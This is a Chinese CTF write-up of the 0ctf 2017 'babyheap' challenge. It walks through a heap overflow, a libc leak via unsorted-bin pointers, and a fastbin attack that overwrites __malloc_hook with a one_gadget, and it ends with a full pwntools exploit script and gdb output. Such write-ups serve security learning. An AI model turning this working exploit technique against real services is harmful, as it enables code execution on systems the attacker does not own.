babyheap_0ctf_2017

新的开始、只记录遇到题目的问题以及解决方法。

题目分析

通过分析源码可以知道

unsigned __int64 __fastcall sub_E7F(__int64 a1)
{
  printf("Index: ");
  result = sub_138C();//read
  v2 = result;
  if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

先读入idx、判断idx是否创建,如果创建则提示输入size。

判断输入的size是否大于0 但是没有和当前idx的size做比较导致,这里的size可控,可以写入比申请chunk时更大的size。

content的输入大小和当前输入的size同大小。

所以这里存在堆溢出。可以覆盖数据到其他堆块。

checksec

[*] '/home/ios/APwn/buuctf/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

​ 开启了PIE

需要leak libc_base

Leak Libc_base

因为存在堆溢出 可以通过溢出伪造一个fake_small_chunk,接着申请一个smallchuank,利用fake_small_chunk 包含smallchuank头部以及fd bk ,利用dump函数即可获取main_arena地址

过程

Allocate(0x60)#idx=0
Allocate(0x30)#idx=1

通过Fill溢出chunk0 修改fastbin chunk1 的size为small chunk size

包含chunk head size =0x71 ,chunk大小=0x60

修改前堆块分布

gdb-peda$ heap
0x558240ff2000 FASTBIN {
  prev_size = 0x0, 
  size = 0x71, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x558240ff2070 FASTBIN {
  prev_size = 0x0, 
  size = 0x41, //修改前size(包含chunk head)
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x558240ff20b0 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20f51, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

修改后堆块分布

Fill(0,"a"*0x60+p64(0)+p64(0x71))
gdb-peda$ heap
0x557fb7f39000 FASTBIN {
  prev_size = 0x0, 
  size = 0x71, 
  fd = 0x6161616161616161, 
  bk = 0x6161616161616161, 
  fd_nextsize = 0x6161616161616161, 
  bk_nextsize = 0x6161616161616161
}
0x557fb7f39070 FASTBIN {
  prev_size = 0x0, 
  size = 0x71,  //这里通过溢出上面的chunk 修改了此处的size
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x557fb7f390e0 {
  prev_size = 0x0, 
  size = 0x0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
gdb-peda$ 
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

接着申请一块small_chunk 并且为了满足check需求,需要在chunk2 内容做处理,因为chunk1 原本大小为0x41 现在我们修改了大小为0x71 所以还缺少0x30 size。chunk2_head包含了0x10剩下的0x20由chunk2_content补充

我们修改chunk2 内容 前0x20为任意数据 ,补充到fake的chunk1的content里,接着伪造一个prev_size 以及 next_size (过fastbin check)

此处next_size 为了构成fastbin循环链表需要满足等于第一次申请的chunk0 size,所以next_size=chunk0_size =0x71

Allocate(0x100)#idx=2
Fill(2,"a"*0x20+p64(0)+p64(0x71))

伪造好堆块将堆块free掉 使fake chunk成为real chunk,

重新分配fake_chunk_size(0x60)

因为fake_chunk占用了chunk2_head(0x10),占用了chunk2_content(0x20)

所以重新分配时会清空这些部分(calloc特性 分配堆块时 会先清空该chunk)

重新分配,接着因为我们的small_chunk(chunk2)的头部被清空了 所以破坏了原本的堆结构,我们需要通过溢出chunk1(0x40),修改回原chunk2 head 以及size

Free(1)
Allocate(0x60)//重新申请
Fill(1,"a"*0x30+p64(0)+p64(0x111)) //溢出chunk1 修改chunk2头部信息

查看当前堆块布局

gdb-peda$ x/40gx 0x55a7bccd2070
0x55a7bccd2070:    0x0000000000000000    0x0000000000000071  //chunk1
0x55a7bccd2080:    0x6161616161616161    0x6161616161616161
0x55a7bccd2090:    0x6161616161616161    0x6161616161616161
0x55a7bccd20a0:    0x6161616161616161    0x6161616161616161
0x55a7bccd20b0:    0x0000000000000000    0x0000000000000111  //chunk2
0x55a7bccd20c0:    0x0000000000000000    0x0000000000000000
0x55a7bccd20d0:    0x0000000000000000    0x0000000000000000
0x55a7bccd20e0:    0x0000000000000000    0x0000000000000071  
0x55a7bccd20f0:    0x0000000000000000    0x0000000000000000
0x55a7bccd2100:    0x0000000000000000    0x0000000000000000
0x55a7bccd2110:    0x0000000000000000    0x0000000000000000
0x55a7bccd2120:    0x0000000000000000    0x0000000000000000
0x55a7bccd2130:    0x0000000000000000    0x0000000000000000
0x55a7bccd2140:    0x0000000000000000    0x0000000000000000
0x55a7bccd2150:    0x0000000000000000    0x0000000000000000
0x55a7bccd2160:    0x0000000000000000    0x0000000000000000
0x55a7bccd2170:    0x0000000000000000    0x0000000000000000
0x55a7bccd2180:    0x0000000000000000    0x0000000000000000
0x55a7bccd2190:    0x0000000000000000    0x0000000000000000
0x55a7bccd21a0:    0x0000000000000000    0x0000000000000000

根据small_bin特性,只存在一块时,free掉时指向top_chunk => main_arena+0x58处

所以尝试利用Free函数free掉该small_chunk(chunk2)

注意:free chunk2时需要再申请一个chunk (方式与top chunk 合并)

Allocate(0x60) //防止合并
Free(2)

查看当前堆布局

gdb-peda$ bins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55bca862b0b0 —▸ 0x7fd682405b78 (main_arena+88) ◂— 0x55bca862b0b0
smallbins
empty
largebins
empty
gdb-peda$ x/20gx 0x55bca862b070
0x55bca862b070:    0x0000000000000000    0x0000000000000071 chunk1
0x55bca862b080:    0x6161616161616161    0x6161616161616161
0x55bca862b090:    0x6161616161616161    0x6161616161616161
0x55bca862b0a0:    0x6161616161616161    0x6161616161616161
0x55bca862b0b0:    0x0000000000000000    0x0000000000000111//chunk2
0x55bca862b0c0:    0x00007fd682405b78    0x00007fd682405b78
0x55bca862b0d0:    0x0000000000000000    0x0000000000000000
0x55bca862b0e0:    0x0000000000000000    0x0000000000000071
0x55bca862b0f0:    0x0000000000000000    0x0000000000000000
0x55bca862b100:    0x0000000000000000    0x0000000000000000
gdb-peda$

可以看到当前chunk2 分fd bk 都指向main_arena+88处

接着打印当前fake_chunk1 由于fake_chunk原大小为0x30 所以dump fake_chunk时会打印出chunk2 head 、chunk2 size、chunk2 fd bk 。

print Dump(1)
#print hexDump(1)[:-8]
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x11\x00\x00\x00x��[\\x7f\x00x��[\\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00

[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xa0 bytes:
    00000000  43 6f 6e 74  65 6e 74 3a  20 0a 61 61  61 61 61 61  │Cont│ent:│ ·aa│aaaa│
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000030  61 61 61 61  61 61 61 61  61 61 00 00  00 00 00 00  │aaaa│aaaa│aa··│····│
    00000040  00 00 11 01  00 00 00 00  00 00 78 db  ea 5b 5c 7f  │····│····│··x·│·[\·│
    00000050  00 00 78 db  ea 5b 5c 7f  00 00 00 00  00 00 00 00  │··x·│·[\·│····│····│
    00000060  00 00 00 00  00 00 00 00  00 00 0a 31  2e 20 41 6c  │····│····│···1│. Al│
    00000070  6c 6f 63 61  74 65 0a 32  2e 20 46 69  6c 6c 0a 33  │loca│te·2│. Fi│ll·3│
    00000080  2e 20 46 72  65 65 0a 34  2e 20 44 75  6d 70 0a 35  │. Fr│ee·4│. Du│mp·5│
    00000090  2e 20 45 78  69 74 0a 43  6f 6d 6d 61  6e 64 3a 20  │. Ex│it·C│omma│nd: │
    000000a0
leak:0x7f5c5beadb20
[*] Stopped process './babyheap_0ctf_2017' (pid 119678)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

可以看到成功打印出main_arena+88地址

获取libc base

利用工具

https://github.com/bash-c/main_arena_offset

可以快速获取当前main_arena的offset

ios@ubuntu:~/APwn/buuctf$ main_arena /lib/x86_64-linux-gnu/libc.so.6
[+]libc version : glibc 2.23
[+]build ID : BuildID[sha1]=1ca54a6e0d76188105b12e49fe6b8019bf08803a
[+]main_arena_offset : 0x3c4b20
ios@ubuntu:~/APwn/buuctf$

从而可以计算出当前libc_base

leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
base=leak-0x3c4b20

Fastbin Attack

leak出了libc base ,接着通过 改malloc_hook为one_gadget 即可成功getshell

找到malloc_hook 地址,寻找满足fastbin 对齐检查的fake chunk addr ,计算malloc_hook距离该fake chunk addr的offset 。溢出chunk0 修改 chunk1的fd指向该fake chunk addr 多次申请堆块 成功在此处申请到chunk。

gdb-peda$ p (void*)&main_arena
$1 = (void *) 0x7f406f115b20 <main_arena>
gdb-peda$ x/20gx 0x7f406f115b20-0x10
0x7f406f115b10 <__malloc_hook>:    0x0000000000000000    0x0000000000000000
0x7f406f115b20 <main_arena>:    0x0000000000000000    0x0000000000000000
0x7f406f115b30 <main_arena+16>:    0x0000000000000000    0x0000000000000000
0x7f406f115b40 <main_arena+32>:    0x0000000000000000    0x0000000000000000
0x7f406f115b50 <main_arena+48>:    0x0000000000000000    0x0000000000000000
0x7f406f115b60 <main_arena+64>:    0x0000000000000000    0x0000000000000000
0x7f406f115b70 <main_arena+80>:    0x0000000000000000    0x000056350ef5f230
0x7f406f115b80 <main_arena+96>:    0x0000000000000000    0x000056350ef5f0b0
0x7f406f115b90 <main_arena+112>:    0x000056350ef5f0b0    0x00007f406f115b88
0x7f406f115ba0 <main_arena+128>:    0x00007f406f115b88    0x00007f406f115b98
gdb-peda$ find_fake_fast 0x7f406f115b10 0x7f
FAKE CHUNKS
0x7f406f115aed FAKE PREV_INUSE IS_MMAPED NON_MAIN_ARENA {
  prev_size = 0x406f114260000000, 
  size = 0x7f, 
  fd = 0x406edd6e20000000, 
  bk = 0x406edd6a0000007f, 
  fd_nextsize = 0x7f, 
  bk_nextsize = 0x0
}
gdb-peda$

计算fake chunk addr 距离malloc_hook 的offset

gdb-peda$ p/x 0x7f406f115b10-0x7f406f115aed
$2 = 0x23
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0))

Allocate(0x60)#idx
Allocate(0x60)#idx
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

获取onegadget

ios@ubuntu:~/APwn/buuctf$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

利用Fill函数向多次申请后申请到的fake_chunk写入onegadget

因为距离malloc_hook 0x23 所以填充数据 溢出覆盖malloc_hook

再次申请堆块时 会调用malloc_hook

成功getshell

exp


from pwn import *
from LibcSearcher import *
context.log_level = 'debug' 

p =process('./babyheap_0ctf_2017')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p =remote('pwn.buuoj.cn',20001)
#libc=ELF('x64_libc.so.6')
def Allocate(size):
    p.recvuntil("Command:")
    p.sendline("1")
    p.recvuntil("Size:")
    p.sendline(str(size))

def Fill(idx,con):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index:")
    p.sendline(str(idx))
    p.recvuntil("Size:")
    p.sendline(str(len(con)))
    p.recvuntil("Content:")
    p.sendline(con)
def Free(idx):
    p.recvuntil("Command:")
    p.sendline("3")
    p.recvuntil("Index:")
    p.sendline(str(idx))
def Dump(idx):
    p.recvuntil("Command:")
    p.sendline("4")
    p.recvuntil("Index:")
    p.sendline(str(idx))
    p.recvuntil('Content: \n')
    return p.recvline()
Allocate(0x60)#idx=0
Allocate(0x30)#idx=1
#sleep(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71))
Allocate(0x100)#idx=2
Fill(2,"a"*0x20+p64(0)+p64(0x71))
Free(1)
Allocate(0x60)#idx=2
Fill(1,"a"*0x30+p64(0)+p64(0x111))
Allocate(0x60)
Free(2)
#gdb.attach(p)
print Dump(1)
#print hexDump(1)[:-8]
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)

#gdb.attach(p)

base=leak-0x3c4b20
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0))

Allocate(0x60)#idx
Allocate(0x60)#idx
Fill(2,"a"*3+p64(0)+p64(0)+p64(base+0x4526a))

#gdb.attach(p)
#gdb.attach(p)
Allocate(0x100)#idx4

p.interactive()
请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!